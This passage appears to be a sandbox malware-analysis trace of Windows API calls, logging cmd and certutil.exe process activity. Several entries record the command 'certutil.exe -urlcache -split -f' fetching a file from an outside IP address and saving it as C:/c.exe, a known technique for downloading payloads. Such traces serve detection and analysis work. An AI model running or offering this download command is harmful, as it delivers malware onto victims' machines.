Size=0xaea) returned 0x3cc1d0 [0113.482] FreeEnvironmentStringsW (penv=0x3c8b00) returned 1 [0113.482] WaitForSingleObject (hHandle=0x50, dwMilliseconds=0xffffffff) returned 0x0 [0130.736] GetExitCodeProcess (in: hProcess=0x50, lpExitCode=0x1ceda8 | out: lpExitCode=0x1ceda8*=0x0) returned 1 [0130.737] CloseHandle (hObject=0x50) returned 1 [0130.737] _vsnwprintf (in: _Buffer=0x1cf018, _BufferCount=0x13, _Format="%08X", _ArgList=0x1cedb8 | out: _Buffer="00000000") returned 8 [0130.737] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000000") returned 1 [0130.737] GetProcessHeap () returned 0x3b0000 [0130.737] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3cc1d0 | out: hHeap=0x3b0000) returned 1 [0130.737] GetEnvironmentStringsW () returned 0x3c8b00* [0130.737] GetProcessHeap () returned 0x3b0000 [0130.737] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x8, Size=0xaea) returned 0x3cc1d0 [0130.737] FreeEnvironmentStringsW (penv=0x3c8b00) returned 1 [0130.737] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1 [0130.737] GetProcessHeap () returned 0x3b0000 [0130.737] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3cc1d0 | out: hHeap=0x3b0000) returned 1 [0130.737] GetEnvironmentStringsW () returned 0x3c8b00* [0130.737] GetProcessHeap () returned 0x3b0000 [0130.737] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x8, Size=0xaea) returned 0x3cc1d0 [0130.737] FreeEnvironmentStringsW (penv=0x3c8b00) returned 1 [0130.737] GetProcessHeap () returned 0x3b0000 [0130.737] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3c5c90 | out: hHeap=0x3b0000) returned 1 [0130.737] DeleteProcThreadAttributeList (in: lpAttributeList=0x1cee78 | out: lpAttributeList=0x1cee78) [0130.738] _get_osfhandle (_FileHandle=1) returned 0x7 [0130.738] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0130.738] _get_osfhandle (_FileHandle=1) returned 0x7 [0130.738] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4ab7e194 | out: lpMode=0x4ab7e194) returned 1 [0130.738] _get_osfhandle (_FileHandle=0) returned 0x3 [0130.738] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4ab7e198 | out: lpMode=0x4ab7e198) returned 1 [0130.738] SetConsoleInputExeNameW () returned 0x1 [0130.738] GetConsoleOutputCP () returned 0x1b5 [0130.739] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4ab8bfe0 | out: lpCPInfo=0x4ab8bfe0) returned 1 [0130.739] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0130.739] exit (_Code=0) Process: id = "16" image_name = "certutil.exe" filename = "c:\\windows\\system32\\certutil.exe" page_root = "0x197b9000" os_pid = "0x12a4" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "15" os_parent_pid = "0x126c" cmd_line = "certutil.exe -urlcache -split -f http://58.221.158.90:88/car/down.txt C:/c.exe" cur_dir = "C:\\Windows\\system32\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e6e5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 631 os_tid = 0x12a8 [0104.022] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x22fb70 | out: lpSystemTimeAsFileTime=0x22fb70*(dwLowDateTime=0x93230380, dwHighDateTime=0x1d5ca1f)) [0104.022] GetCurrentProcessId () returned 0x12a4 [0104.022] GetCurrentThreadId () returned 0x12a8 [0104.022] GetTickCount () returned 0x11622fc [0104.022] QueryPerformanceCounter (in: lpPerformanceCount=0x22fb78 | out: lpPerformanceCount=0x22fb78*=24513239669) returned 1 [0104.023] GetStartupInfoW (in: lpStartupInfo=0x22fb20 | out: lpStartupInfo=0x22fb20*(cb=0x68, lpReserved="", lpDesktop="", lpTitle="certutil.exe -urlcache -split -f http://58.221.158.90:88/car/down.txt C:/c.exe", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x1d5ca1f93230380, hStdOutput=0x5b51a5a75, hStdError=0x0)) [0104.060] GetModuleHandleW (lpModuleName=0x0) returned 0xffe80000 [0104.060] __set_app_type (_Type=0x1) [0104.118] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0xfff6bd28) returned 0x0 [0104.118] __wgetmainargs (in: _Argc=0xfff96330, _Argv=0xfff96340, _Env=0xfff96338, _DoWildCard=0, _StartInfo=0xfff9634c | out: _Argc=0xfff96330, _Argv=0xfff96340, _Env=0xfff96338) returned 0 [0104.166] _onexit (_Func=0xfff78e48) returned 0xfff78e48 [0104.215] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76f20000 [0104.307] GetProcAddress (hModule=0x76f20000, lpProcName="WerSetFlags") returned 0x76f9f400 [0104.307] WerSetFlags () returned 0x0 [0104.308] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0104.308] _fileno (_File=0x7fefe122ab0) returned 1 [0104.308] _setmode (_FileHandle=1, _Mode=16384) returned 16384 [0104.308] _wsetlocale (category=1, locale=".OCP") returned="English_United States.437" [0104.309] _wsetlocale (category=3, locale=".OCP") returned="English_United States.437" [0104.309] _wsetlocale (category=4, locale=".OCP") returned="English_United States.437" [0104.309] _wsetlocale (category=5, locale=".OCP") returned="English_United States.437" [0104.310] GetConsoleOutputCP () returned 0x1b5 [0104.312] _vsnwprintf (in: _Buffer=0x22fa90, _BufferCount=0xb, _Format=".%d", _ArgList=0x22f9b8 | out: _Buffer=".437") returned 4 [0104.312] _wsetlocale (category=2, locale=".437") returned="English_United States.437" [0104.313] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0104.313] GetFileType (hFile=0x7) returned 0x2 [0104.313] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76f20000 [0104.313] GetProcAddress (hModule=0x76f20000, lpProcName="SetThreadUILanguage") returned 0x76f36d40 [0104.313] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0104.316] GetVersionExW (in: lpVersionInformation=0x22f820*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x0, dwMinorVersion=0x22f9a8, dwBuildNumber=0x0, dwPlatformId=0x22f890, szCSDVersion="") | out: lpVersionInformation=0x22f820*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0104.316] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1=".exe", cchCount1=-1, lpString2=".exe", cchCount2=-1) returned 2 [0104.317] GetCommandLineW () returned="certutil.exe -urlcache -split -f http://58.221.158.90:88/car/down.txt C:/c.exe" [0104.317] LocalAlloc (uFlags=0x0, uBytes=0x1a) returned 0x2fdef0 [0104.317] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1=".exe", cchCount1=-1, lpString2=".exe", cchCount2=-1) returned 2 [0104.318] LocalAlloc (uFlags=0x0, uBytes=0x1a) returned 0x2fdf20 [0104.318] LocalFree (hMem=0x2fdef0) returned 0x0 [0104.319] ?_set_se_translator@@YAP6AXIPEAU_EXCEPTION_POINTERS@@@ZP6AXI0@Z@Z () returned 0x0 [0104.319] ?_set_se_translator@@YAP6AXIPEAU_EXCEPTION_POINTERS@@@ZP6AXI0@Z@Z () returned 0xffebb804 [0104.319] _wgetenv (_VarName="WinDir") returned="C:\\Windows" [0104.319] GetFullPathNameW (in: lpFileName="C:\\Windows", nBufferLength=0x104, lpBuffer=0x22f350, lpFilePart=0x22f340 | out: lpBuffer="C:\\Windows", lpFilePart=0x22f340*="Windows") returned 0xa [0104.319] GetTempFileNameW (in: lpPathName="C:\\Windows", lpPrefixString="cert", uUnique=0x0, lpTempFileName=0x22f560 | out: lpTempFileName="C:\\Windows\\cer7BA4.tmp" (normalized: "c:\\windows\\cer7ba4.tmp")) returned 0x7ba4 [0104.321] DeleteFileW (lpFileName="C:\\Windows\\cer7BA4.tmp" (normalized: "c:\\windows\\cer7ba4.tmp")) returned 1 [0104.321] getenv (_VarName="WinDir") returned="C:\\Windows" [0104.323] GetCommandLineW () returned="certutil.exe -urlcache -split -f http://58.221.158.90:88/car/down.txt C:/c.exe" [0104.323] LocalAlloc (uFlags=0x0, uBytes=0x1a) returned 0x2fdef0 [0104.323] GetSystemTime (in: lpSystemTime=0x22f798 | out: lpSystemTime=0x22f798*(wYear=0x7e4, wMonth=0x1, wDayOfWeek=0x1, wDay=0xd, wHour=0xe, wMinute=0x29, wSecond=0x2c, wMilliseconds=0xb0)) [0104.323] SystemTimeToFileTime (in: lpSystemTime=0x22f798, lpFileTime=0x22f790 | out: lpFileTime=0x22f790) returned 1 [0104.323] FileTimeToLocalFileTime (in: lpFileTime=0x22f790, lpLocalFileTime=0x22f760 | out: lpLocalFileTime=0x22f760) returned 1 [0104.323] FileTimeToSystemTime (in: lpFileTime=0x22f760, lpSystemTime=0x22f4e0 | out: lpSystemTime=0x22f4e0) returned 1 [0104.323] GetDateFormatW (in: Locale=0x400, dwFlags=0x1, lpDate=0x22f4e0, lpFormat=0x0, lpDateStr=0x22f5f0, cchDate=128 | out: lpDateStr="1/14/2020") returned 10 [0104.323] GetTimeFormatW (in: Locale=0x400, dwFlags=0x2, lpTime=0x22f4e0, lpFormat=0x0, lpTimeStr=0x22f4f0, cchTime=128 | out: lpTimeStr="1:41 AM") returned 8 [0104.323] _vsnwprintf (in: _Buffer=0x22f4fe, _BufferCount=0x78, _Format=" %02u.%03us", _ArgList=0x22f4c8 | out: _Buffer=" 44.176s") returned 8 [0104.323] LocalAlloc (uFlags=0x0, uBytes=0x34) returned 0x30d250 [0104.324] _vsnwprintf (in: _Buffer=0x22f608, _BufferCount=0xb, _Format="%d", _ArgList=0x22f5f8 | out: _Buffer="948") returned 3 [0104.324] GetVersionExW (in: lpVersionInformation=0x22f3d0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x0, dwMinorVersion=0x0, dwBuildNumber=0x0, dwPlatformId=0x22f50f, szCSDVersion="") | out: lpVersionInformation=0x22f3d0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0104.324] LoadStringW (in: hInstance=0xffe80000, uID=0x3b4, lpBuffer=0x22f3c0, cchBufferMax=128 | out: lpBuffer="Begin") returned 0x5 [0104.325] LocalAlloc (uFlags=0x0, uBytes=0xc) returned 0x30bf30 [0104.325] LocalAlloc (uFlags=0x0, uBytes=0x640) returned 0x30e7c0 [0104.325] LocalFree (hMem=0x30d250) returned 0x0 [0104.325] GetModuleHandleW (lpModuleName="certcli.dll") returned 0x7fef5d00000 [0104.325] GetProcAddress (hModule=0x7fef5d00000, lpProcName=0x16e) returned 0x7fef5d0fad4 [0104.325] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x22f800 | out: lpSystemTimeAsFileTime=0x22f800*(dwLowDateTime=0x93529f00, dwHighDateTime=0x1d5ca1f)) [0104.325] GetLocalTime (in: lpSystemTime=0x22f818 | out: lpSystemTime=0x22f818*(wYear=0x7e4, wMonth=0x1, wDayOfWeek=0x2, wDay=0xe, wHour=0x1, wMinute=0x29, wSecond=0x2c, wMilliseconds=0xb0)) [0104.325] SystemTimeToFileTime (in: lpSystemTime=0x22f818, lpFileTime=0x22f808 | out: lpFileTime=0x22f808) returned 1 [0104.325] CompareFileTime (lpFileTime1=0x22f808, lpFileTime2=0x22f800) returned 1 [0104.326] _vsnwprintf (in: _Buffer=0x22f838, _BufferCount=0x13, _Format="GMT %s %.2f", _ArgList=0x22f7d8 | out: _Buffer="GMT + 11.00") returned 11 [0104.326] LocalFree (hMem=0x2fdef0) returned 0x0 [0104.327] GetModuleHandleW (lpModuleName="certcli.dll") returned 0x7fef5d00000 [0104.327] GetProcAddress (hModule=0x7fef5d00000, lpProcName=0x186) returned 0x7fef5d05440 [0104.328] FindResourceW (hModule=0xffe80000, lpName=0x1, lpType=0x10) returned 0xfffa0188 [0104.328] LoadResource (hModule=0xffe80000, hResInfo=0xfffa0188) returned 0xfffa0890 [0104.328] LockResource (hResData=0xfffa0890) returned 0xfffa0890 [0104.328] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="VS_VERSION_INFO", cchCount1=-1, lpString2="VS_VERSION_INFO", cchCount2=-1) returned 2 [0104.328] _vsnwprintf (in: _Buffer=0xfff986e0, _BufferCount=0x3f, _Format="%u.%u:%u.%u", _ArgList=0x22f8f8 | out: _Buffer="6.1:7600.16385") returned 14 [0104.328] GetACP () returned 0x4e4 [0104.328] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0xffea7288, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 7 [0104.328] LocalAlloc (uFlags=0x0, uBytes=0x10) returned 0x30bf50 [0104.328] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0xffea7288, cbMultiByte=-1, lpWideCharStr=0x30bf50, cchWideChar=7 | out: lpWideCharStr="retail") returned 7 [0104.328] LocalAlloc (uFlags=0x0, uBytes=0x2c) returned 0x30d290 [0104.328] _vsnwprintf (in: _Buffer=0x30d290, _BufferCount=0x15, _Format="%ws %ws", _ArgList=0x22f948 | out: _Buffer="6.1:7600.16385 retail") returned 21 [0104.329] LocalFree (hMem=0x30bf50) returned 0x0 [0104.330] LocalFree (hMem=0x30d290) returned 0x0 [0104.330] LoadIconW (hInstance=0x0, lpIconName=0x7f00) returned 0x10027 [0104.330] LoadCursorW (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003 [0104.330] GetStockObject (i=0) returned 0x1900010 [0104.330] RegisterClassW (lpWndClass=0x22fa10) returned 0xc18b [0104.330] CreateWindowExW (dwExStyle=0x0, lpClassName="CertUtilApp", lpWindowName="CertUtil Application", dwStyle=0xcf0000, X=-2147483648, Y=-2147483648, nWidth=-2147483648, nHeight=-2147483648, hWndParent=0x0, hMenu=0x0, hInstance=0xffe80000, lpParam=0x0) returned 0x3027a [0104.376] NtdllDefWindowProc_W (hWnd=0x3027a, Msg=0x24, wParam=0x0, lParam=0x22f420) returned 0x0 [0104.376] NtdllDefWindowProc_W (hWnd=0x3027a, Msg=0x81, wParam=0x0, lParam=0x22f3d0) returned 0x1 [0104.377] NtdllDefWindowProc_W (hWnd=0x3027a, Msg=0x83, wParam=0x0, lParam=0x22f440) returned 0x0 [0104.379] UpdateWindow (hWnd=0x3027a) returned 1 [0104.379] PostMessageW (hWnd=0x3027a, Msg=0x400, wParam=0x0, lParam=0x2e25ac) returned 1 [0104.379] GetMessageW (in: lpMsg=0x22fa60, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x22fa60) returned 1 [0104.379] TranslateMessage (lpMsg=0x22fa60) returned 0 [0104.379] DispatchMessageW (lpMsg=0x22fa60) returned 0x0 [0104.379] LocalAlloc (uFlags=0x0, uBytes=0x84) returned 0x30f3f0 [0104.379] LocalAlloc (uFlags=0x0, uBytes=0x98) returned 0x30f480 [0104.380] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="urlcache", cchCount1=-1, lpString2="p", cchCount2=-1) returned 3 [0104.380] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="split", cchCount1=-1, lpString2="p", cchCount2=-1) returned 3 [0104.380] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="f", cchCount1=-1, lpString2="p", cchCount2=-1) returned 1 [0104.380] _vsnwprintf (in: _Buffer=0x22f5c8, _BufferCount=0xb, _Format="%d", _ArgList=0x22f5b8 | out: _Buffer="465") returned 3 [0104.380] LoadStringW (in: hInstance=0xffe80000, uID=0x1d1, lpBuffer=0x22f380, cchBufferMax=128 | out: lpBuffer="Command Line") returned 0xc [0104.380] LocalAlloc (uFlags=0x0, uBytes=0x1a) returned 0x2fe130 [0104.380] ?_set_se_translator@@YAP6AXIPEAU_EXCEPTION_POINTERS@@@ZP6AXI0@Z@Z () returned 0x0 [0104.380] ?_set_se_translator@@YAP6AXIPEAU_EXCEPTION_POINTERS@@@ZP6AXI0@Z@Z () returned 0xffebb804 [0104.380] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="urlcache", cchCount1=-1, lpString2="stdio", cchCount2=-1) returned 3 [0104.380] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="urlcache", cchCount1=-1, lpString2="LegacyCertSelectionUI", cchCount2=-1) returned 3 [0104.380] lstrcmpW (lpString1="urlcache", lpString2="uSAGE") returned -1 [0104.381] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="urlcache", cchCount1=-1, lpString2="dump", cchCount2=-1) returned 3 [0104.381] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="urlcache", cchCount1=-1, lpString2="asn", cchCount2=-1) returned 3 [0104.381] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="urlcache", cchCount1=-1, lpString2="", cchCount2=-1) returned 3 [0104.381] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="urlcache", cchCount1=-1, lpString2="decodehex", cchCount2=-1) returned 3 [0104.381] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="urlcache", cchCount1=-1, lpString2="encodehex", cchCount2=-1) returned 3 [0104.381] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="urlcache", cchCount1=-1, lpString2="decode", cchCount2=-1) returned 3 [0104.381] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="urlcache", cchCount1=-1, lpString2="encode", cchCount2=-1) returned 3 [0104.381] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="urlcache", cchCount1=-1, lpString2="", cchCount2=-1) returned 3 [0104.381] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="urlcache", cchCount1=-1, lpString2="deny", cchCount2=-1) returned 3 [0104.381] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="urlcache", cchCount1=-1, lpString2="resubmit", cchCount2=-1) returned 3 [0104.381] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="urlcache", cchCount1=-1, lpString2="setattributes", cchCount2=-1) returned 3 [0104.381] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="urlcache", cchCount1=-1, lpString2="setextension", cchCount2=-1) returned 3 [0104.381] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="urlcache", cchCount1=-1, lpString2="revoke", cchCount2=-1) returned 3 [0104.381] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="urlcache", cchCount1=-1, lpString2="isvalid", cchCount2=-1) returned 3 [0104.381] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="urlcache", cchCount1=-1, lpString2="", cchCount2=-1) returned 3 [0104.381] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="urlcache", cchCount1=-1, lpString2="getconfig", cchCount2=-1) returned 3 [0104.381] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="urlcache", cchCount1=-1, lpString2="getconfig2", cchCount2=-1) returned 3 [0104.381] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="urlcache", cchCount1=-1, lpString2="getconfig3", cchCount2=-1) returned 3 [0104.381] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="urlcache", cchCount1=-1, lpString2="ping", cchCount2=-1) returned 3 [0104.381] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="urlcache", cchCount1=-1, lpString2="pingadmin", cchCount2=-1) returned 3 [0104.381] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="urlcache", cchCount1=-1, lpString2="CAInfo", cchCount2=-1) returned 3 [0104.382] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="urlcache", cchCount1=-1, lpString2="CAPropInfo", cchCount2=-1) returned 3 [0104.382] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="urlcache", cchCount1=-1, lpString2="ca.cert", cchCount2=-1) returned 3 [0104.382] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="urlcache", cchCount1=-1, lpString2="ca.chain", cchCount2=-1) returned 3 [0104.382] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="urlcache", cchCount1=-1, lpString2="GetCRL", cchCount2=-1) returned 3 [0104.382] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="urlcache", cchCount1=-1, lpString2="CRL", cchCount2=-1) returned 3 [0104.382] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="urlcache", cchCount1=-1, lpString2="shutdown", cchCount2=-1) returned 3 [0104.382] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="urlcache", cchCount1=-1, lpString2="", cchCount2=-1) returned 3 [0104.382] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="urlcache", cchCount1=-1, lpString2="installCert", cchCount2=-1) returned 3 [0104.382] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="urlcache", cchCount1=-1, lpString2="renewCert", cchCount2=-1) returned 3 [0104.382] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="urlcache", cchCount1=-1, lpString2="", cchCount2=-1) returned 3 [0104.382] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="urlcache", cchCount1=-1, lpString2="schema", cchCount2=-1) returned 3 [0104.382] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="urlcache", cchCount1=-1, lpString2="view", cchCount2=-1) returned 1 [0104.382] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="urlcache", cchCount1=-1, lpString2="db", cchCount2=-1) returned 3 [0104.382] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="urlcache", cchCount1=-1, lpString2="deleterow", cchCount2=-1) returned 3 [0104.382] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="urlcache", cchCount1=-1, lpString2="", cchCount2=-1) returned 3 [0104.382] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="urlcache", cchCount1=-1, lpString2="backup", cchCount2=-1) returned 3 [0104.382] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="urlcache", cchCount1=-1, lpString2="backupDB", cchCount2=-1) returned 3 [0104.382] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="urlcache", cchCount1=-1, lpString2="backupKey", cchCount2=-1) returned 3 [0104.382] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="urlcache", cchCount1=-1, lpString2="restore", cchCount2=-1) returned 3 [0104.382] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="urlcache", cchCount1=-1, lpString2="restoreDB", cchCount2=-1) returned 3 [0104.382] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="urlcache", cchCount1=-1, lpString2="restoreKey", cchCount2=-1) returned 3 [0104.382] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="urlcache", cchCount1=-1, lpString2="exportPFX", cchCount2=-1) returned 3 [0104.382] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="urlcache", cchCount1=-1, lpString2="importPFX", cchCount2=-1) returned 3 [0104.382] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="urlcache", cchCount1=-1, lpString2="dynamicfilelist", cchCount2=-1) returned 3 [0104.382] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="urlcache", cchCount1=-1, lpString2="databaselocations", cchCount2=-1) returned 3 [0104.382] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="urlcache", cchCount1=-1, lpString2="hashfile", cchCount2=-1) returned 3 [0104.382] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="urlcache", cchCount1=-1, lpString2="", cchCount2=-1) returned 3 [0104.382] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="urlcache", cchCount1=-1, lpString2="store", cchCount2=-1) returned 3 [0104.382] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="urlcache", cchCount1=-1, lpString2="enumstore", cchCount2=-1) returned 3 [0104.382] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="urlcache", cchCount1=-1, lpString2="addstore", cchCount2=-1) returned 3 [0104.382] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="urlcache", cchCount1=-1, lpString2="delstore", cchCount2=-1) returned 3 [0104.382] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="urlcache", cchCount1=-1, lpString2="verifystore", cchCount2=-1) returned 1 [0104.382] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="urlcache", cchCount1=-1, lpString2="repairstore", cchCount2=-1) returned 3 [0104.383] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="urlcache", cchCount1=-1, lpString2="viewstore", cchCount2=-1) returned 1 [0104.383] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="urlcache", cchCount1=-1, lpString2="viewdelstore", cchCount2=-1) returned 1 [0104.383] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="urlcache", cchCount1=-1, lpString2="getcert", cchCount2=-1) returned 3 [0104.383] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="urlcache", cchCount1=-1, lpString2="", cchCount2=-1) returned 3 [0104.383] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="urlcache", cchCount1=-1, lpString2="ds", cchCount2=-1) returned 3 [0104.383] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="urlcache", cchCount1=-1, lpString2="dsDel", cchCount2=-1) returned 3 [0104.383] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="urlcache", cchCount1=-1, lpString2="dsPublish", cchCount2=-1) returned 3 [0104.383] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="urlcache", cchCount1=-1, lpString2="dsCert", cchCount2=-1) returned 3 [0104.383] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="urlcache", cchCount1=-1, lpString2="dsCRL", cchCount2=-1) returned 3 [0104.383] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="urlcache", cchCount1=-1, lpString2="dsDeltaCRL", cchCount2=-1) returned 3 [0104.383] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="urlcache", cchCount1=-1, lpString2="dsTemplate", cchCount2=-1) returned 3 [0104.383] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="urlcache", cchCount1=-1, lpString2="dsAddTemplate", cchCount2=-1) returned 3 [0104.383] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="urlcache", cchCount1=-1, lpString2="", cchCount2=-1) returned 3 [0104.383] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="urlcache", cchCount1=-1, lpString2="ADTemplate", cchCount2=-1) returned 3 [0104.383] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="urlcache", cchCount1=-1, lpString2="Template", cchCount2=-1) returned 3 [0104.383] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="urlcache", cchCount1=-1, lpString2="TemplateCAs", cchCount2=-1) returned 3 [0104.383] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="urlcache", cchCount1=-1, lpString2="CATemplates", cchCount2=-1) returned 3 [0104.383] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="urlcache", cchCount1=-1, lpString2="SetCATemplates", cchCount2=-1) returned 3 [0104.383] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="urlcache", cchCount1=-1, lpString2="SetCASites", cchCount2=-1) returned 3 [0104.383] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="urlcache", cchCount1=-1, lpString2="enrollmentServerURL", cchCount2=-1) returned 3 [0104.383] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="urlcache", cchCount1=-1, lpString2="ADCA", cchCount2=-1) returned 3 [0104.383] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="urlcache", cchCount1=-1, lpString2="CA", cchCount2=-1) returned 3 [0104.383] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="urlcache", cchCount1=-1, lpString2="Policy", cchCount2=-1) returned 3 [0104.383] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="urlcache", cchCount1=-1, lpString2="PolicyCache", cchCount2=-1) returned 3 [0104.383] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="urlcache", cchCount1=-1, 